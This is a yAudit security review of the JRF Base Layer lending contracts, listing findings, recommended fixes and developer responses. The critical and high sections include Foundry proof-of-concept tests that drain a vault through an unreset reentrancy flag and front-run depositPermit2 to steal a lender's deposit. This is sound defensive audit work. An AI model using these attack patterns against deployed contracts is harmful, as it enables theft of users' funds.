yAudit JRF Base Layer Recheck Review

Review Resources:

- Previous JRF audit report by yAudit
- Internal design docs were shared

Auditors:

- engn33r
- fedebianu

Table of Contents

Review Summary

JRF Base Layer

JRF Base Layer provides the flexible foundations for new lending protocols to be built on top of. The Base Layer repository contains the contracts that verify key invariants always hold. These invariants are documented in the protocol team's main design doc. The JRF Base Layer is intended to be flexible and reusable, supporting assets by relying on custom adapter contracts. Because the JRF Base Layer code is only one piece of the overall lending protocol, it does not handle any logic related to asset prices, bad debt, liquidations, interest rates, or similar lending protocol concepts.

This was the second review of the JRF Base Layer repository. Mitigations were added between the first and second reviews. Hence, this review aimed to verify that the mitigations worked as expected and to check for any new issues the changes may have introduced.

The contracts of the JRF Base Layer Repo were reviewed over 2.5 days. The code review was performed by 2 auditors between June 10 and June 12, 2024. The repository was under active development during the review, but the review was limited to the latest commit at the start of

the review. This was commit a16d9231fb3c2d1754da378455ba0cfe2d7df111 for the JRF Base Layer repo. A final review of the changes made to address the issues in this report was performed at commit 1d9a63253fea0948e1a8168913ba6903e993aed5. The mitigations introduced in commit 1d9a63253fea0948e1a8168913ba6903e993aed5 properly addressed the issues documented in this report.

Scope

The scope of the review consisted of the following contracts at the specific commit:

```
contracts
├── BaseLayer.sol
├── BatchChecker.sol
├── interfaces
│   ├── IAllowanceTransfer.sol
│   ├── IBaseLayer.sol
│   ├── ILenderOwnerWhitelist.sol
│   ├── ITerms.sol
│   ├── IVaultController.sol
│   ├── IVaultFactory.sol
│   └── IVault.sol
├── LenderOwnerFactory.sol
├── TransientSet.sol
├── TransientStorage.sol
├── types
│   ├── AccountId.sol
│   └── AccountKey.sol
└── vaults
    ├── patterns
    │   ├── ERC1155VaultPattern.sol
    │   ├── ERC20VaultPattern.sol
    │   ├── ERC721VaultPattern.sol
    │   └── VaultPatternBase.sol
    ├── VaultController.sol
    └── VaultFactory.sol
```

After the findings were presented to the JRF team, fixes were made and included in several PRs.

This review is a code review to identify potential vulnerabilities in the code. The reviewers did not investigate security practices or operational security and assumed that privileged accounts could be trusted. The reviewers did not evaluate the security of the code relative to a standard or specification. The review may not have identified all potential attack vectors or areas of vulnerability.

yAudit and the auditors make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAudit and the auditors do not represent nor imply to third parties that the code has been audited nor that the code is free from defects. By deploying or using the code, JRF and users of the contracts agree to use the code at their own risk.

Code Evaluation Matrix

Category	Mark	Description
Access Control	Average	Only a few actions can be performed by the privileged owner role, such as pausing the Vault Controller, adding licensees that can register lenders, and registering adapters.
Mathematics	Good	Only addition and subtraction are used for accounting in the JRF Base Layer because the more complicated math will be in the other part of the protocol.
Complexity	Average	The codebase was not very large, but the JRF Base Layer is not a complete protocol and the interaction/responsibilities with external contracts were unclear. Much of the complexity and trust is outsourced to external contracts.
Libraries	Average	Only the well-known OpenZeppelin external library is used.
Decentralization	Average	While there is a plan to remove the privileged owner role from the Vault Controller in the future, the timelines for this were not hard coded. They will be decided later by protocol governance.

Category	Mark	Description
Code stability	Average	The JRF Base Layer is well thought out and is nearly production-ready, but a few small changes would still be helpful before the final roll-out.
Documentation	Low	There were only a few pages of internal documentation for the protocol that was not very reader-friendly. There was almost no NatSpec in the code.
Monitoring	Average	Events were absent from some important function calls. Depending on the events on the external code that tightly integrates with this base layer repo, it may not be necessary to include events at this layer of the protocol.
Testing and verification	Average	Most contracts in the repository have good test coverage.

Findings Explanation

Findings are broken down into sections by their respective impact:

- Critical, High, Medium, Low impact
  - These are findings that range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements.
- Gas savings
  - Findings that can improve the gas efficiency of the contracts.
- Informational
  - Findings including recommendations and best practices.

Critical Findings

1. Critical - Not resetting the transient storage in `_doBatchDispatch()` leads to the vaults being drained

`batchExecutor()` ensures that batch calls cannot be reentered. However, failing to clear the transient storage invalidates the `onlyInBatch` modifier for the rest of the function calls in the transaction.

Technical Details

There is a reentrancy check in `_doBatchDispatch()` that works by ensuring `batchExecutor()` is unset at the start of the transaction and setting it when the transaction begins. However, it is crucial to note that `batchExecutor()` is not reset at the end of the transaction.

This oversight means that the `onlyInBatch()` modifier, which only reverts if `batchExecutor()` is not set, does not effectively function as intended.

Consequently, all functions using the `onlyInBatch()` modifier remain callable and are susceptible to reentrancy, as there are no additional reentrancy guards within those functions. Additionally, `_doBatchDispatch()` cannot be called again within the same transaction due to the initial `batchExecutor()` check, which is not reset after the first call.

An example of a possible attack path, where an attacker drains a vault after a lender deposits and mints dr, is shown in the following PoC:

```
function testAttack() public {
    batches = zeroBatches;
    token1.mint(lender, amount);

    data = abi.encodeWithSelector(IVault.deposit.selector, address(lender), amount);
    batch = IBaseLayer.BatchItem(address(vault1), data);
    batches.push(batch);

    vm.startPrank(lender);
    token1.approve(address(vault1), amount);
    data = abi.encodeWithSelector(BaseLayer.drMint.selector, address(vault1),
accountIdLender, amount);
    batch = IBaseLayer.BatchItem(address(baseLayer), data);
    batches.push(batch);
    baseLayer.dispatchBatch(batches);

    assertEq(baseLayer.depositaryReceiptBalances(address(vault1), accountIdLender),
amount);

    batches = zeroBatches;
    vm.startPrank(maliciousUser);
    baseLayer.dispatchBatch(batches);
    baseLayer.transferOut(address(vault1), maliciousUser, amount);

    assertEq(baseLayer.depositaryReceiptBalances(address(vault1), accountIdLender),
amount);
    assertEq(vault1.balanceOf(), 0);
    assertEq(token1.balanceOf(maliciousUser), amount);
}
```

Impact

Critical. All functions that are intended to be called within a batch can actually be called outside of a batch and are vulnerable to reentrancy. This oversight could lead to the vaults being drained. As a minor consequence, batch calls cannot be executed more than once during a transaction. A protocol built on top of this layer might require the ability to do so.

Recommendation

Reset the transient storage at the end of `_doBatchDispatch()`:

```
     function _doBatchDispatch(BatchItem[] calldata items, bool revertResponse, address
executor) internal {
         if (this.batchExecutor() != address(0)) revert BatchReentrancy();

         _storeT(BATCH_EXECUTOR, _fromAddressToBytes32(executor));

         _executeBatchItems(items, revertResponse);

         _doChecks();

         // Notify terms that the batch has been finalized
         uint256 termsLength = _lengthArrayT(BATCH_TERMS_LENGTH);
         for (uint256 i = 0; i < termsLength; i++) {
             ITerms(address(uint160(uint256(_loadArrayT(BATCH_TERMS_LENGTH,
i))))).finalizeBatch();
         }
+
+        _storeT(BATCH_EXECUTOR, 0);
     }
```

Developer Response

Acknowledged and fixed according to recommendation.

High Findings

1. High - `depositPermit2()` can be front-run to steal user deposits or perform DoS

`depositPermit2()` is used by a third party to deposit on behalf of a user. However, another party can always front-run this transaction and steal the user's deposited funds.

Technical Details

As stated in the Permit `EIP`:

> Though the signer of a Permit may have a certain party in mind to submit their transaction, another party can always front-run this transaction and call the permit before the intended party. However, the end result is the same for the permit signer.

It's not an issue when `permit()` is executed as a standalone transaction. However, if the transaction is batched, as in this case, it presents a problem.

An attacker can steal a lender deposit, as shown in the following PoC:

```
function testAttack() public {
    batches = zeroBatches;
    token1.mint(lender, amount);
    // Alice signs a transaction allowing a third party to deposit on her behalf
    vm.startPrank(lender);
    token1.approve(address(permit2), 2 ** 256 - 1);
    IAllowanceTransfer.PermitSingle memory permit = IAllowanceTransfer.PermitSingle({
        details: IAllowanceTransfer.PermitDetails({
            token: address(token1),
            amount: uint160(amount),
            expiration: uint48(block.timestamp + 1000),
            nonce: 0
        }),
        spender: address(vault1),
        sigDeadline: block.timestamp + 1000
    });
    bytes memory sig = getPermitSignature(permit, lenderPrivateKey,
permit2.DOMAIN_SEPARATOR());

    // Third party want send a transaction to depositPermit2 and mint dr on behalf of
Alice
    data = abi.encodeWithSelector(
        ERC20VaultPattern.depositPermit2.selector, permit, address(lender), sig,
uint160(amount)
    );
    batch = IBaseLayer.BatchItem(address(vault1), data);
    batches.push(batch);
    data = abi.encodeWithSelector(BaseLayer.drMint.selector, address(vault1),
accountIdLender, amount);
    batch = IBaseLayer.BatchItem(address(baseLayer), data);
    batches.push(batch);
    // baseLayer.dispatchBatch(batches); // frontran

    // Bob frontrun the above tx
    IBaseLayer.BatchItem[] storage frontRunBatches = zeroBatches;
```

```
    vm.startPrank(maliciousUser);
    // attacker deposits Alice's funds
    data = abi.encodeWithSelector(
        ERC20VaultPattern.depositPermit2.selector, permit, address(lender), sig,
uint160(amount)
    );
    batch = IBaseLayer.BatchItem(address(vault1), data);
    frontRunBatches.push(batch);
    // attacker withdraws Alice's funds
    data = abi.encodeWithSelector(BaseLayer.transferOut.selector, address(vault1),
address(maliciousUser), amount);
    batch = IBaseLayer.BatchItem(address(baseLayer), data);
    frontRunBatches.push(batch);
    // batch call
    baseLayer.dispatchBatch(frontRunBatches);

    assertEq(vault1.balanceOf(), 0);
    assertEq(token1.balanceOf(address(maliciousUser)), amount);
}
```

Besides the risk of stealing depositor funds, there is another implication that allows an attacker to carry out a Denial of Service (DoS) attack, as described in this article and in the PoC below:

```
function testDoS() public {
    batches = zeroBatches;
    token1.mint(lender, amount);
    // Alice signs a transaction allowing a third party to deposit on her behalf
    vm.startPrank(lender);
    token1.approve(address(permit2), 2 ** 256 - 1);
    IAllowanceTransfer.PermitSingle memory permit = IAllowanceTransfer.PermitSingle({
        details: IAllowanceTransfer.PermitDetails({
            token: address(token1),
            amount: uint160(amount),
            expiration: uint48(block.timestamp + 1000),
            nonce: 0
        }),
        spender: address(vault1),
        sigDeadline: block.timestamp + 1000
    });
    bytes memory sig = getPermitSignature(permit, lenderPrivateKey,
permit2.DOMAIN_SEPARATOR());

    // third party want send a transaction to depositPermit2 and mint dr on behalf of
Alice
    data = abi.encodeWithSelector(
        ERC20VaultPattern.depositPermit2.selector, permit, address(lender), sig,
uint160(amount)
    );
    batch = IBaseLayer.BatchItem(address(vault1), data);
    batches.push(batch);
    data = abi.encodeWithSelector(BaseLayer.drMint.selector, address(vault1),
accountIdLender, amount);
    batch = IBaseLayer.BatchItem(address(baseLayer), data);
    batches.push(batch);

    // Bob frontruns the above tx with a permit call
    vm.startPrank(maliciousUser);
    IAllowanceTransfer(address(permit2)).permit(address(lender), permit, sig);
```

```
    // third party batch call
    vm.startPrank(lender2);
    vm.expectRevert();
    baseLayer.dispatchBatch(batches);
}
```

Impact

High. An attacker can steal depositor funds, and DoS attacks can disrupt protocols built on top of `BaseLayer` that rely on the permit functionality.

Recommendation

To mitigate the DoS issue you need to change `_permit2()`:

```
     function _permit2(
         address permit2_,
         address depositor,
         IAllowanceTransfer.PermitSingle memory permitSingle,
         bytes memory signature
     ) internal {
-        IAllowanceTransfer(permit2_).permit(depositor, permitSingle, signature);
+        try IAllowanceTransfer(permit2_).permit(depositor, permitSingle, signature) {}
+        catch {
+            IERC20Metadata token = IERC20Metadata(permitSingle.details.token);
+            if (token.allowance(depositor, permit2_) < permitSingle.details.amount) {
+                revert Permit2Failed();
+            }
+        }
     }
```

To mitigate the main front-running issue, there are two possible solutions:

1. check that the batch executor equals the depositor's address. This solution offers less flexibility as only `from` address can be the batch executor but doesn't need to mint dr atomically.

```
    function depositPermit2(
        IAllowanceTransfer.PermitSingle calldata permitSingle,
        address from,
        bytes calldata signature,
        uint256 amount
    ) external whenNotPaused onlyBaseLayer {
+       if (IBaseLayer(baseLayer).batchExecutor() != from) revert;
        if (permitSingle.spender != address(this)) revert InvalidSpender();
        if (permitSingle.details.token != tokenAddress) revert PermitForWrongToken();
        uint256 decimals = IERC20Metadata(tokenAddress).decimals();
        if (permitSingle.details.amount != uint160(_fromWad(amount, decimals))) revert
InvalidAmount();

        _permit2(PERMIT2_ADDRESS, from, permitSingle, signature);
        _transferFrom(PERMIT2_ADDRESS, from, amount);
        emit Deposited(from, amount);
    }
```

1 atomically perform `depositPermit2()` and `drMint()`. This solution offers more flexibility as a third party can call this function on behalf of `from` but need to call back `baseLayer`.

```
     function depositPermit2(
         IAllowanceTransfer.PermitSingle calldata permitSingle,
         address from,
         bytes calldata signature,
-        uint256 amount
+        uint256 amount,
+        AccountId accountId
     ) external whenNotPaused onlyBaseLayer {
         if (permitSingle.spender != address(this)) revert InvalidSpender();
         if (permitSingle.details.token != tokenAddress) revert PermitForWrongToken();
         uint256 decimals = IERC20Metadata(tokenAddress).decimals();
         if (permitSingle.details.amount != uint160(_fromWad(amount, decimals))) revert
InvalidAmount();

         _permit2(PERMIT2_ADDRESS, from, permitSingle, signature);
         _transferFrom(PERMIT2_ADDRESS, from, amount);
         emit Deposited(from, amount);

+        AccountKey memory account = IBaseLayer(baseLayer).accounts(accountId);
+        if (account.ownerAddress != from) revert InvalidAccount();
+        IBaseLayer(baseLayer).drMint(address(this), accountId, amount);
     }
```

Developer Response

Acknowledged and fixed according to recommendation.

Medium Findings

1. Medium - Wrong calculation of `structHash` in `dispatchBatchPermit()`

`encodeData` calculation in `dispatchBatchPermit()` is not done correctly as of EIP712.

Technical Details

`items` are encoded with `abi.encode` but must be encoded with `abi.encodePacked` in `dispatchBatchPermit()`.

e.g. Uniswap permit2 `hash()`.

Impact

Medium. The verification will fail if the message passed to `dispatchBatchPermit()` adheres to EIP712.

Recommendation

```
-            abi.encode(BATCH_ITEM_TYPEHASH, keccak256(abi.encode(items)), owner,
_useNonce(owner), deadline)
+            abi.encode(BATCH_ITEM_TYPEHASH, keccak256(abi.encodePacked(items)), owner,
_useNonce(owner), deadline)
```

Developer Response

Acknowledged and fixed.

Low Findings

1. Low - Can create vaults with unsupported tokens

A vault can be created using an ERC20 token with more than 18 decimals. However, this makes the vault unusable.

In general, vaults can be created with unsupported tokens.

Technical Details

`createVault()` is used to create a new vault for a particular token.

However, in this particular case, there are no checks for unsupported tokens with more than 18 decimals, while these checks are performed in `_toWad()` and `_fromWad()`.

In general, the lack of token validation could create vaults that do not behave as expected.

Impact

Low. Users can create a vault with unsupported tokens.

Recommendation

Insert a virtual function in `VaultPatterBase` that must be implemented by specific patterns:

```
     function _transfer(address receiver, uint256 amount) internal virtual;
+
+    function _validateToken(address tokenAddress, uint256 tokenId) internal virtual;
}
```

Then you can choose from:

1. call it in `initialize()`:

```
     function initialize(
         address _baseLayer,
         address _controller,
         address _tokenAddress,
         uint256 _tokenId,
         address _pattern
     ) public initializer {
+        _validateToken(_tokenAddress, _tokenId);
+
         _selfVault = address(this);
```

1. implement an external function, `validateToken()`, that simply forwards the call to `_validateToken()`, and call it in `createVault()`, forcing the vault to implement it even if they didn't inherit `VaultPatterBase`:

```
         address vault = Clones.clone(pattern);
+        IVault(vault).validateToken(tokenAddress, tokenId);
         IVault(vault).initialize(baseLayer, controller, tokenAddress, tokenId, pattern);
```

In this specific case, you can implement it as shown below:

```
     function _toWad(uint256 amount, uint256 decimals) internal pure returns (uint256) {
-        if (decimals > 18) revert InvalidDecimals();
         if (decimals == 18) return amount;
         return amount * (10 ** (18 - decimals));
     }

     function _fromWad(uint256 amount, uint256 decimals) internal pure returns (uint256)
{
-        if (decimals > 18) revert InvalidDecimals();
         if (decimals == 18) return amount;
         return amount / (10 ** (18 - decimals));
     }
+
+    function _validateToken(address tokenAddress, uint256 tokenId) internal view
override {
+        if (IERC20Metadata(tokenAddress).decimals() > 18) revert InvalidDecimals();
+    }
}
```

Developer Response

Acknowledged and fixed.

Gas Saving Findings

1. Gas - Declare `batchExecutor()` as `public`

Technical Details

`batchExecutor()` is declared as `external` but is called internally within the same contract using `this.batchExecutor()`. This approach triggers an EVM `CALL`, which costs more gas than a `JUMP` that would be used if the function were declared as `public`.

Impact

Gas savings.

Recommendation

Declare `batchExecutor()` as `public` and replace calls to `this.batchExecutor()` with `batchExecutor()` to optimize gas usage by avoiding unnecessary EVM `CALL` operations.

Developer Response

Acknowledged and fixed according to recommendation.

2. Gas - Declare variables immutable when possible

Technical Details

`baseLayer` is set in the constructor and not modified later. It can be declared immutable.

Impact

Gas savings.

Recommendation

Declare `baseLayer` immutable.

Developer Response

Acknowledged and fixed according to recommendation.

3. Gas - Simplify redundant logic in Vault `withdraw()`

There is redundancy in the logic for `withdraw()`.

Technical Details

The `withdraw()` function of VaultPatternBase.sol can be reached in two different ways: when msg.sender is baseLayer or when msg.sender is the vault controller. When called by the controller, the controller will only call VaultPatternBase.sol if the controller is paused. This is because if `paused` is false in the controller, `!paused` will be true and trigger the `NotPausedOrActiveLock` revert. The same logic is duplicated in VaultPatternBase.sol, where if the controller calls `withdraw()` when the controller is not paused, the ActiveWithdrawLockPeriod revert will trigger.

In summary, the controller pause logic check in `withdraw()` of VaultPatternBase.sol can be removed.

```
- if (
-     msg.sender == address(controller) &&
-     !controller.paused()
- ) revert ActiveWithdrawLockPeriod();
```

Impact

Gas savings.

Recommendation

Remove redundant logic as highlighted above.

Developer Response

Acknowledged.

4. Gas - Cache state variables for gas savings

Caching a state variable can save gas if it is queried multiple times.

Technical Details

`setTerms()` queries `batchExecutor` 2 times without caching the value. Fixes were recently added for `transferAccountOwnership()` and `acceptAccountOwnership()` to cache `batchExecutor` when it is queried twice.

Impact

Gas savings.

Recommendation

Cache `batchExecutor` in `setTerms()`.

Developer Response

Acknowledged and fixed according to recommendation.

5. Gas - Gas optimization in VaultController

VaultController.sol has two variables that store nearly identical information. One of these can be removed or made private.

Technical Details

VaultController.sol has two variables tracking the paused state: the bool `paused` and the uint256 `pausedTimestamp`. These variables are changed at the same time in `pause()` and `unpause()`. When `pause` is true, then `pausedTimestamp` is non-zero, and when `pause` is false then `pausedTimestamp` is zero. Removing one variable can save gas because these variables serve the same purpose. There are two options:

1. Remove the `paused` bool and rely only on `pausedTimestamp`. Calls to `controller.paused()` in VaultPatternBase.sol can be replaced with calls to `controller.pausedTimestamp()`, or alternatively add a `paused()` function to VaultController.sol:

```
function paused() external view returns (bool) {
 return pausedTimestamp != 0;
}
```

2. Keep the `paused` bool but make the `pausedTimestamp` variable private instead of public because the public getter function is never used.

Impact

Gas savings.

Recommendation

Modify VaultController.sol to avoid duplicate variables serving the same purpose.

Developer Response

Acknowledged and fixed according to recommendation.

6. Gas - Remove double call to the same function

When calling `withdraw()` function there is a double call to `requestCheckBalance()`.

Technical Details

`withdraw()` can only be called by `baseLayer` or a paused `controller`. If the function is called by `baseLayer` it calls back `requestCheckBalance()`, but the same call with the same parameter is made by BaseLayer contract in `transferOut()` and `moveFromVaultToBaseLayerAndApproveOut()`.

Impact

Gas savings.

Recommendation

Remove these lines:

```
    function transferOut(
        address vault,
        address receiver,
        uint256 amount
    ) external onlyInBatch verifyVault(vault) {
        amount = _adjustAmountToDeltaIfMax(vault, amount);

        IVault(vault).withdraw(receiver, amount);
-
-       requestCheckBalance(vault);

        emit TransferredOut(this.batchExecutor(), vault, amount);
    }



    function moveFromVaultToBaseLayerAndApproveOut(
        address vault,
        address spender,
        uint256 amount
    ) external onlyInBatch verifyVault(vault) {
        amount = _adjustAmountToDeltaIfMax(vault, amount);

        IVault(vault).withdraw(address(this), amount);
        _approveDelegated(vault, spender, amount);
-
-       requestCheckBalance(vault);
```

```
        emit ApprovedOut(this.batchExecutor(), vault, spender, amount);
    }
```

Developer Response

Acknowledged.

7. Gas - Optimize for loops for gas savings

There is no need to initialize the loop variable to zero because zero is the default value.

Technical Details

In the following functions, optimization can be done:

- `_doBatchDispatch()`
- `_executeBatchItems()`
- `_doChecks()`
- `_storeArrayT()`

Impact

Gas savings.

Recommendation

In `_doBatchDispatch()`:

```
-       for (uint256 i = 0; i < termsLength; i++) {
+       for (uint256 i; i < termsLength; ++i) {
            ITerms(address(uint160(uint256(_loadArrayT(BATCH_TERMS_LENGTH,
i))))).finalizeBatch();
        }
```

In `_executeBatchItems()`:

```
-       for (uint i = 0; i < items.length; ++i) {
+       uint256 length = items.length;
+       for (uint256 i; i < length; ++i) {
            BatchItem calldata item = items[i];
```

In `_doChecks()`:

```
-        for (uint256 i = 0; i < length; ++i) {
+        for (uint256 i; i < length; ++i) {
             bytes32 checkKey = _loadArrayT(BATCH_CHECKS_LENGTH, i);
```

In `_storeArrayT()`:

```
-        for (uint256 i = 0; i < uint256(length); ++i) {
+        for (uint256 i; i < length; ++i) {
             if (_loadArrayT(lengthSlot, i) == value) {
                 return;
             }
         }
```

Developer Response

Acknowledged and fixed according to recommendation.

8. Gas - Make public `createVault()` function external

The `createVault()` function is public but has no internal calls, so it can be made external for gas savings.

Technical Details

Public functions can be called internally and externally. Since `createVault()` is not called internally in VaultFactory.sol, it can be an external function.

Impact

Gas savings.

Recommendation

Make `createVault()` external.

Developer Response

Acknowledged and fixed according to recommendation.

Informational Findings

1. Informational - Typos

There is one NatSpec typo remaining.

Technical Details

"a uniq" -> "a unique"

Impact

Informational.

Recommendation

Fix typo.

Developer Response

Acknowledged and fixed according to recommendation.

2. Informational - Inconsistent error naming

`mustBeExecutedByOwnerOf()` in TestTerms.sol uses the `OnlyInBatch` error, whereas a similar logic check in BaseLayer.sol uses the `WrongAccountOwner` error for this case.

Technical Details

`mustBeExecutedByOwnerOf()` in TestTerms.sol uses the `OnlyInBatch` error if the batchExecutor is not the account owner. Equivalent checks in BaseLayer.sol use the `WrongAccountOwner` error in this case [1, 2, 3]. Even though this is a test file, using a consistent error for the case where the batchExecutor is not the expected address may make debugging easier.

Impact

Informational.

Recommendation

For consistency, consider using a `WrongAccountOwner` error in `mustBeExecutedByOwnerOf()` instead of `OnlyInBatch`.

Developer Response

Acknowledged and fixed according to recommendation.

3. Informational - Transient storage for checks not reset

In the previous review, `_doChecks()` deleted the check when it was no longer needed, but the new `_doChecks()` implementation removed this deletion.

Technical Details

When `_doChecks()` performs checks to verify the final balance and debt after certain actions, the check is not deleted from memory like it was in an older version of the code. While no direct attack vector was observed around this change, it is a best practice to clean up storage and memory when data is no longer needed.

Impact

Informational.

Recommendation

Consider cleaning transient storage at the end of `_doChecks()` when the checks are no longer needed.

Developer Response

Acknowledged.

4. Informational - Multiple vaults can exist with the same args

When `createVault()` is called in VaultFactory.sol, there is no check around whether a vault already exists with the same arguments.

Technical Details

In an older version of the code examined in the first audit, there was a check in `registerAsset()` to prevent registering an asset and tokenId pair more than once. However, in the new design of VaultFactory.sol, there is no equivalent check in `createVault()` to prevent the creation of multiple vaults with the same arguments. While no direct risk from this approach was observed, this is a difference in design compared to the original code. It is common practice for protocols to prevent duplicate vaults or pools, as this check in Uniswap v2 demonstrates because it has the potential to fracture liquidity and therefore reduce capital efficiency.

Impact

Informational.

Recommendation

Consider adding a mapping in VaultFactory.sol to store existing vaults, which should be checked in `createVault()` to verify the new vault is unique. The old `registerAsset()` design verified that there were unique tokenAddress and assetId pairs, so a 2-D mapping that verifies the uniqueness of these two values would offer similar guarantees to the older code.

Developer Response

Acknowledged. We believe that there are sufficient natural incentvies to prevent significant fragmentation, and do not want to introduce restrictions that may inhibit an unforeseen use case.

5. Informational - Trust assumptions may allow privileged roles to rug

The protocol's trust assumptions mean that a malicious owner of VaultController.sol or a malicious lender could attempt to steal user assets. These actions should not be possible to perform immediately, so there should be a timelock or other delay allowing users to react if such malicious behavior happens. However, given how the contracts are written, such a hypothetical threat is possible.

Technical Details

There are at least two hypothetical rug vectors. Both vectors should have a delay or timelock if the design intent is followed in the on-chain implementation:

1. The vault.withdraw() call in VaultController.sol allows the owner of VaultController.sol to withdraw all vault assets to any address without the owner holding the corresponding depository receipts. This is intended for emergencies and can only be called after a hardcoded 2-week delay.
2. The `setTerms()` function allows a lender to change the terms that an existing loan is using. Lender contracts should function like a Comptroller contract with a Timelock, with a delay of 2 or more days before a proposed action is implemented.

The delays in the above actions should allow depositors monitoring the protocol to be warned to withdraw their assets before the end of the time delay period if they do not like the pending actions. However, borrowers who do not regularly monitor the protocol may encounter unexpected results in these edge-case scenarios.

Impact

Informational.

Recommendation

Any on-chain contracts that are not fully immutable have some trust assumptions. In this case, the assumption is that the actions that could lead to a rug will have some time delay and that this time delay will allow users to withdraw their assets if they do not like the result of the pending action(s).

Developer Response

Acknowledged. We believe that our chosen trust assumptions strike a reasonable balance between user protection and product governance design space. In particular, unrestricted ability to update terms may find legitimate uses in product-level emergency procedures, such as can already be found in widely used lending protocols.

Final Remarks

The mitigations introduced in response to the findings in the first yAudit audit report fixed nearly all of the original issues identified. Only a few remaining items need to be modified slightly. Some larger refactoring changes were made, such as using transient storage and removing the adapter design entirely. Still, these changes have been made properly without adding notable new issues.

The JRF Base Layer code does meet the requirements outlined in the whitepaper provided by the development team, which was one of the primary goals of this audit.

Some assumptions changed between the initial commit hash reviewed (commit 46b15970a90fb06d2efbbc338f0eaf06bb24438b) and the newer commit hash reviewed in this report (commit a16d9231fb3c2d1754da378455ba0cfe2d7df111). One of these changes is that not all terms are checked in `_doBatchDispatch()` like in the only commit hash, but only terms that are added to transient storage from a `_checkAuthority()` call are checked. Another change is that anyone can create a vault, whereas the creation of adapters with `registerAdapter()` was previously limited to the `onlyOwner` modifier. No new issues were found to be introduced by these changes other than what is documented in this report.

The JRF lending solution is highly modular, and with modularity comes flexibility. This flexibility can also be viewed as complexity because of the larger design space in which different contracts can live in. One example of a risk with this design is that the protocol

implementation layer must choose ownership contracts carefully to provide a trusted approach to governance that ensures borrowers can't get instantly rugged. The lending account owner should be a comptroller contract with a timelock to allow borrowers to borrow confidently, knowing that the loan terms will not change without notice. Another integration that must be done properly is writing the terms contract to avoid any loss of value for the lender or the borrower. But these risks are out of the scope of the JRF Base Layer protocol code and, if done properly, will not create any problems for the end solution.